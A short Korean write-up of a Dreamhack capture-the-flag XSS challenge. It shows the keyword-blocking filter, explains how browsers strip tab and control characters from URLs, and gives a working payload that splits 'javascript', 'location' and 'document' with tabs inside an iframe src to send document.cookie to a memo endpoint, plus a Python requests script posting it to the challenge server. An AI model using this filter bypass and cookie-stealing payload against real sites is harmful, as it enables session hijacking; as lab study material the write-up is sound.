반응형
문제풀이
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
대부분의 핵심 키워드가 필터링되는 상황이다.
이런 상황에서는 브라우저 정규화를 이용해서 우회할 수 있다.
정규화는 동일한 리소스를 나타내는 서로 다른 URL들을 통일된 형태로 변환하는 과정이다. \x01
, \x04
, \t
와 같은 특수 문자들이 제거되고, 스키마의 대소문자가 통일된다.
클라이언트에서 브라우저 정규화로 특수문자가 제거되는 점을 이용해서 특수문자를 필터링하는 문자 사이에 특수문자를 삽입해서 WAF의 필터링 검증을 우회하고 클라이언트에서 스크립트를 실행시킬 수 있다.
// GET
<iframe src="javasc%09ript:lo%09cati%09o%09n.href='http://127.0.0.1:8000/memo?memo='+do%09cum%09ent.cookie">
// POST
<iframe src="javasc ript:lo cati o n.href='http://127.0.0.1:8000/memo?memo='+do cum ent.cookie">
payload는 위와 같다.
필터링에 걸리는 문자 사이에는 특수문자를 삽입했다.
주의할 점은 GET 방식으로 직접 전달할 때는 url 인코딩으로 전달해야하고 POST 방식으로 전달할 때는 url 인코딩이 아닌 리얼 문자를 전송해야한다. (python으로 전송할 때도 마찬가지다.)
따라서 POST 방식은 \1, \4는 사용할 수 없다.
exploit
from requests import *
payload = '''
<iframe src="javasc ript:lo cati o n.href='http://127.0.0.1:8000/memo?memo='+do cum ent.cookie">
'''
data = {'param' : payload}
response = post(url="http://host3.dreamhack.games:15041/flag", data=data)
print(response.text)
반응형